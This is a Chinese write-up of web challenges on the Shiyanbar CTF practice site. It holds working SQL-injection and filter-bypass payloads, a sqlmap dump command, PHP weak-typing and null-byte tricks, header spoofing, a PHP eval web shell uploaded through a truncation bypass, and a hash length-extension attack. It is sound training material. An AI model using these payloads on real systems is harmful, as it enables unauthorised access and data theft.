实验吧 Web 部分 WriteUP
0x01 登陆一下好吗??
题目链接: http://ctf5.shiyanbar.com/web/wonderkun/web/index.html
思路: 后台部分代码可能是这样的1
select * from user where username='用户名' and password='密码'
我们构造 用户名: '=',密码: '='
然后SQL查询语句就变成1
select * from user where username=''='' and password=''=''
运算顺序为从左往右,username='' = '' 返回1,同理password='' = ''也返回1.
即1
select * from user where 1 and 1
可得flag如下
0x02 简单的sql注入
题目链接: http://ctf5.shiyanbar.com/423/web/
思路: 试探
输入1
'='
输入1
1' union select flag from flag where '1'='1
可见 from、where等关键词被过滤了
尝试双写绕过
1 | 1' unionunion selectselect flag fromfrom flag wherewhere '1'='1 |
额,空格被过滤了,尝试用注释绕过
1 | 1' unionunion /**/selectselect /**/flag fromfrom /**/flag wherewhere /**/'1'='1 |
shit,还是跪了,应该是连空格和关键字一起被过滤,所以在在关键词后加 空格1
1' unionunion /**/selectselect /**/flag fromfrom /**/flag wherewhere /**/'1'='1
成功获得flag
0x03 简单的sql注入2
题目链接: http://ctf5.shiyanbar.com/web/index_2.php
思路: 利用注释绕过关键词检测(推测后台以空格为分隔符把字符串打散成数组,然后检测关键字)1
'/**/union/**/select/**/flag/**/from/**/flag#
0x04 简单的sql注入3
题目链接: http://ctf5.shiyanbar.com/web/index_3.php
思路: 输入'
存在sql注入,且输入 1 , 2 , 3 时均返回 Hello!
输入 4 时什么都不返回
显然,这是基于布尔的盲注,偷个懒,放到 `sqlmap` 跑一跑
1 | sqlmap -u http://ctf5.shiyanbar.com/web/index_3.php\?id\=1 -p id -D web1 -T flag --dump |
随手可得flag
0x05 Forms
题目链接: http://ctf5.shiyanbar.com/10/main.php
思路: 点击链接进去后,长这样
在这个框里随便输入点什么,都是这样
没有什么发现,点击查看页面源代码
重点在这句1
<input type="hidden" name="showsource" value=0>
利用 burpsuite 抓包,修改 Request -> Params -> showsource 的 value 等于 1 ,得源码如下
看这句代码1
2
3
4$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
echo "Congratulations! The flag is $flag";
}
意思就是说当 PIN = -19827747736161128312837161661727773716166727272616149001823847 时,后台会返回flag
再次抓包,修改 PIN 的 value 为 -19827747736161128312837161661727773716166727272616149001823847
可得flag
0x06 天网管理系统
题目链接: http://ctf5.shiyanbar.com/10/web1/
思路:
进去后,先随意逛逛,有以下信息
在页面源代码中看到这句
1 |
|
这样的提示再明显不过了,当 md5($_GET['username']) == '0'时,应该会发生点什么。
而且注意判断相等的时候用的是这个 ==,显然这道题跟 PHP弱类型相等有关。
上网找下以0开头的 md5值,很多
随便选取一个,s878926199a 填在表单的 username,提交表单后如下
跟着提示进入这个链接
http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer
1 | $unserialize_str = $_POST['password']; |
根据代码以及提示,已经很明显了,还是老套路,PHP 的弱类型相等,但这里涉及到一次反序列化操作
将 array("user"=>1,"pass"=>1)序列化成以下1
a:2:{s:4:"user";i:0;s:4:"pass";i:0;}
回到前面那个表单页面,输入 username : s878926199a , password : a:2:{s:4:"user";i:0;s:4:"pass";i:0;}
结果如下
0x07 忘记密码了
题目链接: http://ctf5.shiyanbar.com/10/upload/step1.php
进入后有个表单,随意输入并提交得
有个弹窗,给了个链接 你邮箱收到的重置密码链接为 ./[email protected]&check=???????,还是 step2.php, 貌似有戏,在浏览器地址栏输入,
WHAT THE FUCK??? ,竟然跳回了之前的step1.php。
开启 burpsuite 抓包
有点犹豫下一步应该怎么搞,随手右键查看源代码,竟然看到了我大 Vim,这个邮箱应该是管理员邮箱,下面或许用得着
1 | <meta name="renderer" content="webkit" /> |
尝试访问 .swp文件, .submit.php.swp 可以访问1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42........这一行是çœç•¥çš„代ç ........
/*
如果登录邮箱地å€ä¸æ˜¯ç®¡ç†å‘˜åˆ™ die()
æ•°æ®åº“结构
--
-- 表的结构 `user`
--
CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- 转å˜è¡¨ä¸çš„æ•°æ® `user`
--
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****ä¸å¯è§***', '***ä¸å¯è§***', 0);
*/
........这一行是çœç•¥çš„代ç ........
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}
哈哈哈,PHP 代码审计的题,构造如下url1
http://ctf5.shiyanbar.com/10/upload/submit.php?token=0000000000&[email protected]
可得flag SimCTF{huachuan_TdsWX}
0x08 Once More
题目链接: http://ctf5.shiyanbar.com/web/more.php
又是一道 PHP 代码审计题,而且已经提示了ereg()函数的漏洞
来看看函数原型1
2
3
4
5
6
7字符串比对解析。
语法: int ereg(string pattern, string string, array [regs]);
返回值: 整数/数组
内容说明
本函数以 pattern 的规则来解析比对字符串 string。比对结果返回的值放在数组参数 regs 之中,
regs[0] 内容就是原字符串 string、regs[1] 为第一个合乎规则的字符串、regs[2] 就是第二个合乎规则的字符串,余类推。
若省略参数 regs,则只是单纯地比对,找到则返回值为 true。
后台源代码如下,我们需要利用ereg()函数的截断漏洞获取flag1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
构造如下url可得Flag: CTF{Ch3ck_anD_Ch3ck}1
http://ctf5.shiyanbar.com/web/more.php?password=1e8%00*-*
0x09 Guess Next Session
题目链接: http://ctf5.shiyanbar.com/web/Session.php
关键语句如下1
2if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
利用 burpsuite 抓包并在 Params 区域 修改 PHPSESSID 字段的值为 '',并添加 password 字段,值为 '' 即可。
0x10 FALSE
题目链接: http://ctf5.shiyanbar.com/web/false.php
后台源代码如下1
2
3
4
5
6
7
8
9
10
11
12
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
可知满足 $_GET['name'] == $_GET['password'] 并且 sha1($_GET['name']) === sha1($_GET['password')
这两个条件即可获得flag, 在不相等的情况下 sha1 的值相等, sha1 碰撞?
去查了下 php sha1() 函数细节
接受一个 string 类型, 否则返回 false, 嘿嘿嘿,看我传个数组搞你
构造如下url,可得Flag: CTF{t3st_th3_Sha1}
1 | http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2 |
0x11 what a fuck!这是什么鬼东西?
题目链接: http://ctf5.shiyanbar.com/DUTCTF/1.html
点进去真吓人,不过 F12 开启控制台, Ctrl A 、Ctrl C 将页面拷贝到控制台解码, 竟然直接弹了个 FLAG, 哈哈,nice
0x12 PHP大法
题目链接: http://ctf5.shiyanbar.com/DUTCTF/index.php
进入题目页面,映入眼帘的是这个1
Can you authenticate to this website? index.php.txt
尝试访问 http://ctf5.shiyanbar.com/DUTCTF/index.php.txt
返回以下结果1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
<br><br>
Can you authenticate to this website?
意思就是说服务器首先获取到我们传递的参数 id,如果将之 urldecode 后等于 hackerDJ,就会给 FLAG
首先找个好的 url编码 网站,找到了这个 http://web.chacuo.net/charseturlencode
因为浏览器会对 url解码一次,所以我们需要两次编码
- 第一次,选择
复杂类型,所有字符都编码
- 第二次,复制第一次的结果,选择
基本类型,保留字符不编码
然后构造如下url,可得 FLAG : DUTCTF{PHP_is_the_best_program_language}1
http://ctf5.shiyanbar.com/DUTCTF/index.php?id=%2568%2561%2563%256b%2565%2572%2544%254a
0x13 貌似有点难
题目链接: http://ctf5.shiyanbar.com/phpaudit/
可以直接看源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}
$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
获取 FLAG 的条件是客户端 IP == 1.1.1.1burpsuite 抓包修改 Headers,添加 X-Forwarded-For 字段,值为 1.1.1.1 即可
0x14 头有点大
题目链接: http://ctf5.shiyanbar.com/sHeader/
开启 burpsuite 抓包, 然后根据要求修改Headers即可
1 | GET /sHeader/ HTTP/1.1 |
0x15 上传绕过
题目链接: http://ctf5.shiyanbar.com/web/upload/
先上传个 PHP 一句话 试试水
1 | <?php @eval($_GET[cmd]);?> |
开启 burpsuite 抓包
修改 filename字段,重发请求,提示必须上传成后缀名为php的文件。1
Content-Disposition: form-data; name="file"; filename="1.jpg"
尝试利用%00截断漏洞,修改以下字段1
2
3
4
5-----------------------------817613054328609237755519585
Content-Disposition: form-data; name="dir"
/uploads/
-----------------------------817613054328609237755519585
将 /uploads/ 修改成 /uploads/1.php%00.jpg, 选中 %00, 右键 -> Convert selection -> URL -> URL-decode, 点击 Go 发送请求,可得 FLAG : flag{SimCTF_huachuan}
0x16 天下武功唯快不破
题目链接: http://ctf5.shiyanbar.com/web/10/10.php
网页源代码如下,注释是个关键点1
2There is no martial art is indefectible, while the fastest speed is the only way for long success.</br>>>>>>>----You must do it as fast as you can!----<<<<<<</br>
<!-- please post what you find with parameter:key -->
1 | ➜ ~ curl -i http://ctf5.shiyanbar.com/web/10/10.php |
可以看到 FLAG 字段,明显的 base64 编码。
随手开个终端跑个 node (不用Python是因为要装逼,毕竟哥都会^~^)
1 | ➜ ~ node |
解码后得到下一步提示,开个 burpsuite 抓个包修改成 post 请求并添加参数 key : G6fVS465f
嘿嘿,果断失败了~
多次尝试,还是失败。
终于注意到 Response 中提到 You must do it as fast as you can!.
再次观察响应头信息
1 | ➜ ~ curl -i http://ctf5.shiyanbar.com/web/10/10.php |
(⊙o⊙)…,这个 FLAG 值竟然和上面的不一样,于是乎终于想到可能是每次请求时都会返回一个不同的 KEY,而且必须尽快 POST 这个 KEY 到服务器。
使用 Python 发一波包
1 | import requests |
终于得到 FLAG : CTF{Y0U_4R3_1NCR3D1BL3_F4ST!}
0x17 让我进去
题目链接: http://ctf5.shiyanbar.com/web/kzhan.php
一道比较有意思的题
老套路,开启 burpsuite 抓包,改 source 字段的值为 1,可见源码
1 | $flag = "XXXXXXXXXXXXXXXXXXXXXXX"; |
由以下两处可知这是要利用 [hash长度扩展攻击][http://blog.nsfocus.net/hash-length-extension-attack/]1
2
3
4if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
...
...
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
安装 hashpump 工具
1 | apt-get install g++ libssl-dev git build-essential |
利用该工具获取新的签名绕过
1 | root@702175afa04a:/HashPump# hashpump |
根据后台源码添加以下 Params即可成功获得 FLAG : CTF{cOOkieS_4nd_hAshIng_G0_w3LL_t0g3ther}